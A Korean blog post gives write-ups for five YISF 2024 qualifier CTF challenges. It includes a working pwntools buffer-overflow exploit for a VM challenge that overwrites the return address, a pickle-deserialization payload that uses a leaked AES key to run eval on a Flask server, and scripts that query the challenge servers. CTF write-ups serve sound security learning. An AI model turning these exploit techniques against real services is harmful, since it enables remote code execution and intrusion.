Notice
Recent Posts
Recent Comments
Link
«   2026/03   »
1 2 3 4 5 6 7
8 9 10 11 12 13 14
15 16 17 18 19 20 21
22 23 24 25 26 27 28
29 30 31
Tags
more
Archives
Today
Total
관리 메뉴

Void

YISF 2024 Quals 본문

CTF

YISF 2024 Quals

pdw0412 2024. 8. 23. 08:35

Scoreboard

후기

정보보안 대회에서 처음으로 본선 진출을 안겨준 대회다. misc 2문제, pwn, rev, web 각각 1문제씩 총 5문제를 해결해서 5등으로 본선에 진출하게 되었다. "본선 진출을 못하면 어떡하나"라는 고민을 했었지만 대회 시작 2시간 후부터 약 20시간 정도 1등을 유지해 오면서 정말 열심히 재밌게 참여했다. 이 대회로 정말 많은 것을 배웠고, misc는 경험이 정말 중요하다는 것을 깨달았다.

 

Write Up

misc - pikachu

misc - Flagcut

pwn - yisfVM

rev - take_your_flag

web - webcome

 

misc - pikachu

YISF에서 1문제는 퍼블 해보고 싶어서 문제 둘러보다가 잡은 문제다. 30분만에 풀 수 있었고, 퍼블도 성공했다.

초기값 :
unsigned long long a = 1,
unsigned short b = 0,
unsigned short c = 0

규칙 :
pika : b = b * 2
pikapi : b = b + c
pichu : c = 0, 1 switch
pichuchu : b = b and c
pikapika : a = a * b
pikapichu : a = a xor c
pikachu : system(&a)

입력 단어 갯수 제한 : 100개

 

id.txt 를 열어보면 이런 명령어를 얻을 수 있다.

pichu pikapi pika pika pikapi pikapika pikapi pika pikapi pika pika pikapi pikapika pichuchu pika pikapi pika pika pika pika pika pikapi pikapika pikachu

 

서버에서 이 명령어를 입력하니 'id' 명령어가 실행되었다.

pikachu 명령어로 &a를 실행하니 &a 를 'cat flag'로 바꾸고 실행하면 될 것 같다. 100자 제한이 있으니 효율적으로 만들어야 하는데, 여기서 내가 생각해낸 방법은 2진수 였다. 'cat flag'를 16진수로 나타내면 0x67616c6620746163 이다. 이를 2진수로 바꾸고, b=2, c=1로 설정한 이후에 pikapika(a = a * b) 명령어로 a<<1 해주면서 pikapichu(a = a xor c) 명령어로 최하위 비트를 맞춰주면 된다. 

#include<cstdio>

int main() {
	char FLAG[]="110011101100001011011000110011000100000011101000110000101100011";
    
	printf("pichu "); //1, 0, 1
	printf("pikapi "); //1, 1, 1
	printf("pika "); //1, 2, 1
	for(int i=1; i<=62; i+=1) {
		printf("pikapika "); //a<<=1
		if(FLAG[i]=='1') printf("pikapichu "); //a^c
	}
	printf("pikachu"); //system(&a);
    
    return 0;
}
pichu pikapi pika pikapika pikapichu pikapika pikapika pikapika pikapichu pikapika pikapichu pikapika pikapichu pikapika pikapika pikapichu pikapika pikapichu pikapika pikapika pikapika pikapika pikapika pikapichu pikapika pikapika pikapichu pikapika pikapichu pikapika pikapika pikapichu pikapika pikapichu pikapika pikapika pikapika pikapika pikapichu pikapika pikapichu pikapika pikapika pikapika pikapichu pikapika pikapichu pikapika pikapika pikapika pikapika pikapichu pikapika pikapika pikapika pikapika pikapika pikapika pikapika pikapichu pikapika pikapichu pikapika pikapichu pikapika pikapika pikapichu pikapika pikapika pikapika pikapika pikapichu pikapika pikapichu pikapika pikapika pikapika pikapika pikapika pikapichu pikapika pikapika pikapichu pikapika pikapichu pikapika pikapika pikapika pikapika pikapichu pikapika pikapichu pikachu

이런 명령어를 얻을 수 있다.

서버에서 인증하면 FLAG를 얻을 수 있다.

 

YISF{pikapika_pikachu_pi_pichu_pikapikachu_pikapika_pikachuuuuu}

 

misc - Flagcut

assert len(flag := open('flag', 'rb').read()) == 28
assert (mod := int(input())) < 200
print(int.from_bytes(flag, 'big') % mod)

FLAG를 바이트로 바꾸고, 나머지 연산 결과를 출력해준다.

 

N=FLAG 라고 할때, N%k==r 에서 나머지가 r 인 k들의 최소공배수는 N+r의 약수일 것이다. 이 아이디어를 활용해서 N+k가 어떤 수들의 배수인지 구할 수 있고, CRT로 N을 구할 수 있다. CRT는 GPT의 도움을 받았다.

from pwn import *
import math

data=[0]*200
diff=[1]*200

for i in range(1, 200, 1) :
    r=remote('211.229.232.101', 22111)
    r.sendline(str(i).encode())
    data[i]=int(r.recvline()[:-1].decode())
    r.close()

for i in range(1, 200, 1) :
    diff[i-data[i]]=math.lcm(diff[i-data[i]], i)

for i in range(200) :
    if(diff[i]!=1) :
        print('N+'+str(i)+'=', diff[i], '의 배수')

 

def find_N(congruences):
    N, step = 0, 1

    for modulus, remainder in congruences:
        remainder = (remainder % modulus + modulus) % modulus  # 음수 처리
        while (N % modulus) != remainder:
            N += step

        step = (step * modulus) // gcd(step, modulus)  # lcm(step, modulus)

    return N

# 주어진 문제에서 나머지와 배수의 목록을 튜플의 리스트로 저장
congruences = [
    (736450, -1),
    (109143, -2),
    (397184, -3),
    (41, -4),
    (6, -5),
    (595, -6),
    (139, -7),
    (5529, -8),
    (62, -9),
    (47, -10),
    (360, -11),
    (43, -12),
    (14, -13),
    (39, -14),
    (92, -15),
    (366, -17),
    (189, -20),
    (132396, -23),
    (75, -26),
    (13832, -27),
    (421689, -32),
    (847, -34),
    (96, -35),
    (179, -36),
    (3657, -38),
    (113, -40),
    (1470, -41),
    (79, -42),
    (82, -45),
    (40867955, -46),
    (108, -47),
    (2000, -51),
    (128778, -53),
    (3243404, -55),
    (495, -56),
    (94, -57),
    (3335, -61),
    (342, -65),
    (176, -67),
    (4958, -69),
    (101, -70),
    (1860, -71),
    (89, -72),
    (197, -73),
    (216189, -74),
    (175, -76),
    (1008, -83),
    (123, -86),
    (36040, -91),
    (117, -92),
    (199, -93),
    (151, -94),
    (149, -97),
    (17673, -98),
    (163, -100),
    (1350, -101),
    (141, -104),
    (194, -105),
    (185, -106),
    (552, -107),
    (1540, -111),
    (142, -117),
    (12702, -119),
    (158, -121),
    (164, -127),
    (167, -128),
    (166, -129),
    (12480, -131),
    (196, -139),
    (190, -141),
    (148, -143),
    (188, -151),
    (161, -153),
    (1782, -155),
    (178, -161),
    (193, -170),
    (191, -171)
]

N = find_N(congruences)
print("N =", N)

 

N=9402958234952974085226773741305562356242420084686172563240360109949 이고, 바이트로 바꿔주면 된다.

FLAG : YISF{cutcutcut_flagflagflag}

 

 

 

 

 

 

 

 

 

pwn - yisfVM

main.c

// gcc -o yisfvm main.c vm.c -fno-stack-protector -no-pie -z relro

# include <stdio.h>
# include <stdlib.h>
# include <string.h>
# include <unistd.h>
# include "vm.h"

void win() {
    char *argv[] = { "/bin/sh", "-c", "cat flag", NULL };
    execve("/bin/sh", argv, NULL);
}

void initialize(){
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stderr, NULL, _IONBF, 0);
}

int main(){
    initialize();
    VM vm;
    init_vm(&vm);

    unsigned char program[PROGRAM_SIZE] = "\x00";
    char input[PROGRAM_SIZE * 2 + 1];
    int program_size = 0;

    printf("Enter your program: \n");
    if (fgets(input, sizeof(input), stdin) == NULL){
        printf("Error reading input\n");
        return 1;
    }

    size_t len = strlen(input);
    if (input[len -1] == '\n'){
        input[len-1] = '\0';
        len--;
    }

    for (size_t i = 0; i < len; i += 2){
        unsigned int byte;
        sscanf(&input[i], "%2x", &byte);
        program[program_size++] = (unsigned char)byte;
        if (program_size >= PROGRAM_SIZE) break;
    }
    execute(&vm, program, sizeof(program));

    printf("Result: %d\n", vm.stack[vm.sp]);
    return 0;
}

 

vm.h

#ifndef VM_H
#define VM_H

#define STACK_SIZE 256
#define MEMORY_SIZE 1024
#define PROGRAM_SIZE 256

typedef struct {
    int ip; // instruction pointer
    int sp; // stack pointer
    int stack[STACK_SIZE];
    unsigned char memory[MEMORY_SIZE];
} VM;

void init_vm(VM *vm);
void execute(VM *vm, unsigned char *program, int program_size);

# define OP_NOP         0x00
# define OP_PUSH        0x01
# define OP_POP         0x02
# define OP_SWAP        0x03
# define OP_ADD         0x04
# define OP_SUB         0x05
# define OP_MUL         0x06
# define OP_DIV         0x07
# define OP_INPUT       0x08
# define OP_PRINT_STACK 0x09
# define OP_HALT        0x0A

#endif // VM_H

 

vm.c

#include "vm.h"
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void init_vm(VM *vm) {
    vm->ip = 0;
    vm->sp = -1;
    memset(vm->stack, 0, sizeof(vm->stack));
    memset(vm->memory, 0, sizeof(vm->memory));
}

void execute(VM *vm, unsigned char *program, int program_size) {
    while (vm->ip < program_size) {
        switch (program[vm->ip]) {
            case OP_NOP:
                vm->ip += 1;
                break;

            case OP_PUSH:
                vm->ip++;
                if (vm->sp < STACK_SIZE - 1) {
                    unsigned int value = program[vm->ip];
                    vm->stack[++vm->sp] = value;
                    vm->ip += 1;
                } else {
                    printf("Stack Overflow Detected!\n");
                    exit(1);
                }
                break;

            case OP_POP:
                if (vm->sp >= 0) {
                    vm->sp--;
                } else {
                    printf("Stack Underflow Detected!\n");
                    exit(1);
                }
                vm->ip += 1;
                break;

            case OP_SWAP:
                if (vm->sp >= 0 && vm->sp < STACK_SIZE) {
                    int off = program[vm->ip + 1];
                    if (vm->sp - off >= 0) {
                        int temp = vm->stack[vm->sp];
                        vm->stack[vm->sp] = vm->stack[vm->sp - off];
                        vm->stack[vm->sp - off] = temp;
                    } else {
                        printf("Invalid SWAP operation\n");
                        exit(1);
                    }
                } else {
                    printf("Stack Overflow Detected!\n");
                    exit(1);
                }
                vm->ip += 2;
                break;

            case OP_ADD:
                if (vm->sp >= 1) {
                    unsigned int b = vm->stack[vm->sp--];
                    unsigned int a = vm->stack[vm->sp];
                    vm->stack[vm->sp] = a + b;
                } else {
                    printf("Not enough values on the stack for ADD!\n");
                    exit(1);
                }
                vm->ip += 1;
                break;

            case OP_SUB:
                if (vm->sp >= 1) {
                    unsigned int b = vm->stack[vm->sp--];
                    unsigned int a = vm->stack[vm->sp];
                    vm->stack[vm->sp] = a - b;
                } else {
                    printf("Not enough values on the stack for SUB!\n");
                    exit(1);
                }
                vm->ip += 1;
                break;

            case OP_MUL:
                if (vm->sp >= 1) {
                    unsigned int b = vm->stack[vm->sp--];
                    unsigned int a = vm->stack[vm->sp];
                    vm->stack[vm->sp] = a * b;
                } else {
                    printf("Not enough values on the stack for MUL!\n");
                    exit(1);
                }
                vm->ip += 1;
                break;

            case OP_DIV:
                if (vm->sp >= 1) {
                    unsigned int b = vm->stack[vm->sp--];
                    unsigned int a = vm->stack[vm->sp];
                    if (b != 0) {
                        vm->stack[vm->sp] = a / b;
                    } else {
                        printf("Division by zero!\n");
                        exit(1);
                    }
                } else {
                    printf("Not enough values on the stack for DIV!\n");
                    exit(1);
                }
                vm->ip += 1;
                break;

            case OP_INPUT:
                if (vm->sp >= 0) {
                    int size = vm->stack[vm->sp];
                    if (size >= 0 || size <= MEMORY_SIZE) {
                        printf("Enter %d bytes of input: ", size);
                        if (fread(vm->memory, 1, size, stdin) != size) {
                            printf("Error reading input\n");
                            exit(1);
                        }
                    } else {
                        printf("Invalid input size\n");
                        exit(1);
                    }
                } else {
                    printf("Stack underflow for INPUT\n");
                    exit(1);
                }
                vm->ip += 1;
                break;

            case OP_PRINT_STACK:
                printf("Stack state: ");
                for (int i = 0; i <= vm->sp; i++) {
                    printf("%02x ", vm->stack[i]);
                }
                vm->ip += 1;
                break;

            case OP_HALT:
                return;

            default:
                printf("Unknown instruction: %x\n", program[vm->ip]);
                exit(1);
        }
    }
}

 

이름처럼 vm문제다. main에서 명령어를 입력받고, vm.c에서 실행한다. 우리가 봐야 할것은 OP_INPUT 이다.

case OP_INPUT:
    if (vm->sp >= 0) {
        int size = vm->stack[vm->sp];
        if (size >= 0 || size <= MEMORY_SIZE) {
            printf("Enter %d bytes of input: ", size);
            if (fread(vm->memory, 1, size, stdin) != size) {
                printf("Error reading input\n");
                exit(1);
            }
        } else {
            printf("Invalid input size\n");
            exit(1);
        }
    } else {
        printf("Stack underflow for INPUT\n");
        exit(1);
    }
    vm->ip += 1;
    break;

 

size를 vm->stack[vm-sp] 에서 가져오는데, size의 크기 확인을 (size >= 0 || size <= MEMORY_SIZE) 로 한다. 그래서 size를 MEMORY_SIZE 보다 크게 할 수 있고, bof 가 발생한다. main.c 에 win함수가 있으므로 main의 RET를 win으로 덮으면 된다.

 

먼저 0x05, 0xff를 넣은 다음 0x05와 0xff를 곱해준다. 그러면 input으로 0x4fb 바이트를 쓸 수 있고, RET를 덮으면 된다.

from pwn import *

p=process('./yisfvm')
#p=remote('211.229.232.101', 50001)

win=0x401256

payload=b''
payload+=b'0105' #push 0x05
payload+=b'01ff' #push 0xff
payload+=b'06'   #mul
payload+=b'08'   #input
payload+=b'0a'   #halt

p.sendlineafter(b':', payload)
p.send(p64(win)*159+b'a'*3)

p.interactive()

 

FLAG : YISF{7h15_15_v3ry_345y_vm_b0f}

 

 

 

 

 

 

 

 

 

 

rev - take_your_flag

ida로 main함수를 열어보면 문자열을 입력받고, sub_14CE 함수로 입력값을 확인한 다음 정답인지 아닌지 알려주는 코드이다.

 

sub_1499로 입력값을 연산한 뒤, dword_4020[i*4] 와 비교해준다.

 

여기서 주의해야 할 점이 프로그램이 실행될 때 값을 바꿔준다. 그래서 이거에 주의하면서 키를 구하면 된다.

 

#include<cstdio>

__int64 __fastcall f(unsigned __int8 a1, char a2) {
	return (a1 << a2) | (unsigned int)((int)a1 >> (8 - a2));
}

unsigned __int8 data[]={196+5, 149, 131+2, 196, 125, 153, 196, 208, 157, 125, 212-3, 165-4, 196, 205, 125, 196, 205, 178+3, 229, 125, 164+5, 189, 173, 149, 125, 168-7, 208, 161, 208, 125, 211-2, 208, 173, 200, 125, 153, 196, 133, 157};

int main() {
	for(int i=0; i<=39; i+=1) {
		for(unsigned __int8 key=0; key<=127; key+=1) {
			if((unsigned __int8)f(key, (char)2)==(int)data[i]) {
				printf("%c", key);
			}
		}
	}
	
	return 0;
}

 

FLAG : YISF{rea1_f14g_th1s_1smy_joke_h4h4_t4k2_f1ag}

 

 

 

 

 

 

 

 

 

 

web - webcome

app.py

from flask import Flask, request, render_template, make_response
import os, pickle, base64
import logging
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad

app = Flask(__name__)
app.secret_key = os.urandom(32)
AES_KEY = "[[REDIRECTION]]"

logging.basicConfig(level=logging.INFO, 
                    format='%(asctime)s - %(name)s - %(levelname)s - %(message)s',
                    handlers=[logging.StreamHandler()])

logger = logging.getLogger(__name__)


INFO = ['name', 'userid', 'password']

def encrypt(data):
    cipher = AES.new(AES_KEY.encode(), AES.MODE_ECB)
    return cipher.encrypt(pad(data, AES.block_size))

def decrypt(data):
    cipher = AES.new(AES_KEY.encode(), AES.MODE_ECB)
    return unpad(cipher.decrypt(data), AES.block_size)


@app.route('/')
def index():
    return render_template('index.html')

@app.route('/create_vsession', methods=['GET', 'POST'])
def create_vsession():
    if request.method == 'GET':
        return render_template('create_vsession.html')
    elif request.method == 'POST':
        info = {}
        for _ in INFO:
            info[_] = request.form.get(_, '')
        try:
            data = base64.b64encode(encrypt(pickle.dumps(info))).decode('utf8')
            return render_template('create_vsession.html', data=data)
        except:
            return "wrong!"
    else:
        return "wrong"

@app.route('/check_vsession', methods=['GET', 'POST'])
def check_vsession():
    if request.method == 'GET':
        return render_template('check_vsession.html')
    elif request.method == 'POST':
        try:
            vsession = request.form.get('session', '')
            info = pickle.loads(decrypt(base64.b64decode(vsession)))
            logger.info(f"아이피 {request.remote_addr}가 check_session을 시도함. {info}")
            res = make_response(render_template('check_vsession.html', info=info))
            res.headers.set('X-AES-KEY', f"{AES_KEY}")
            return res
        except:
            return "wrong"
    else:
        return "wrong"

app.run(host='0.0.0.0', port=8000)

 

 

name, userid, password를 데이터로 가지는 session을 만들고 확인할 수 있는 서버다.

 

여기서 집중해야 할 부분이 2가지가 있는데, create_vsession에서 info 를 pickle을 사용해 pickle deserialize 취약점이 발생하고, check_vsession 에서는 암호화 키를 헤더에 저장해 우리가 알 수 있다. 그래서 key를 X-AES-KEY를 얻고, pickle 취약점으로 서버에 명령어를 실행할 수 있다.

 

 

먼저 check_vsession에서 X-AES-KEY를 얻는다

 

import pickle
import os
import base64
import requests
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad

AES_KEY = '36f6d9a966c4478c73af4fde2f813212'
cipher_key = AES_KEY.encode()

def encrypt(data):
    cipher = AES.new(cipher_key, AES.MODE_ECB)
    return cipher.encrypt(pad(data, AES.block_size))

class f:
    def __reduce__(self):
        return (eval, ("open('./flag.txt', 'r').read()",))


info = {
    'name': 'testuser',
    'userid': 'testid',
    'password': f()
}

encrypted_data = encrypt(pickle.dumps(info))
encoded_data = base64.b64encode(encrypted_data).decode('utf8')
response = requests.post('http://211.229.232.100:13680/check_vsession', data={'session': encoded_data})

print(response.text)

FLAG : YISF{webCOme_T0_7He_h4CK1ng_wEbCOM3}

'CTF' 카테고리의 다른 글

UofTCTF 2025 - Pwn (4/6)  (0) 2025.01.15
Layer7 CTF 2024  (0) 2025.01.13
제 5회 JBU-CTF  (1) 2024.12.16
LG U+ Security Hackathon : Growth Security 2024 Quals  (0) 2024.11.17
YISF 2024 Finals  (0) 2024.11.10